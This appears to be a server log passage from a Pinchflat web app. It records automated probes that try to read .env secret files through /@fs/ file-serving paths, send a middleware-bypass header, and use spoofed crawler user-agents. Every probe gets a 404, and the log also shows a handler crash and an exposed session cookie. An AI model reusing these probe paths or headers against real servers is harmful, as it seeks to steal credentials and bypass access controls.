=> "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29677.0>, params: %{"raw??" => ""}, path_info: ["@fs", "var", "task", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/var/task/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ayrmov0M58ABwFh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29676.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/task/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33970}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/var/task/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29676.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/task/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33970}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_ (truncated) 16:49:07.456 [info] GET /@fs/.env 16:49:07.456 [debug] QUERY OK source="settings" db=0.1ms idle=145.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.456 [debug] QUERY OK source="settings" db=0.1ms idle=55.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.456 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.457 [error] #PID<0.29679.0> running PinchflatWeb.Endpoint (connection #PID<0.29678.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/.env?url&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29678.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33980}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "url&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29679.0>, params: %{"raw??" => "", "url" => ""}, path_info: ["@fs", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => "", "url" => ""}, query_string: "url&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61a7rEGHlzb4ABwGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29678.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33980}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "url&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29678.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33980}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undef (truncated) 16:49:07.458 [info] GET /@fs/proc/self/cwd/.env 16:49:07.458 [debug] QUERY OK source="settings" db=0.0ms idle=57.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.458 [debug] QUERY OK source="settings" db=0.0ms idle=39.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.458 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.458 [error] #PID<0.29681.0> running PinchflatWeb.Endpoint (connection #PID<0.29680.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/proc/self/cwd/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/proc/self/cwd/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/cwd/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33996}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29681.0>, params: %{"raw??" => ""}, path_info: ["@fs", "proc", "self", "cwd", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/proc/self/cwd/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61a8H6LWiT0YABwGh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/cwd/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33996}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/proc/self/cwd/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/cwd/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33996}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware (truncated) 16:49:07.461 [info] GET /@fs/.env 16:49:07.461 [debug] QUERY OK source="settings" db=0.0ms idle=42.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.461 [debug] QUERY OK source="settings" db=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.461 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.461 [error] #PID<0.29683.0> running PinchflatWeb.Endpoint (connection #PID<0.29682.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/.env?import&?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29682.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&?raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29683.0>, params: %{"?raw??" => "", "import" => ""}, path_info: ["@fs", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"?raw??" => "", "import" => ""}, query_string: "import&?raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61a80iCOXDLgABwHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29682.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 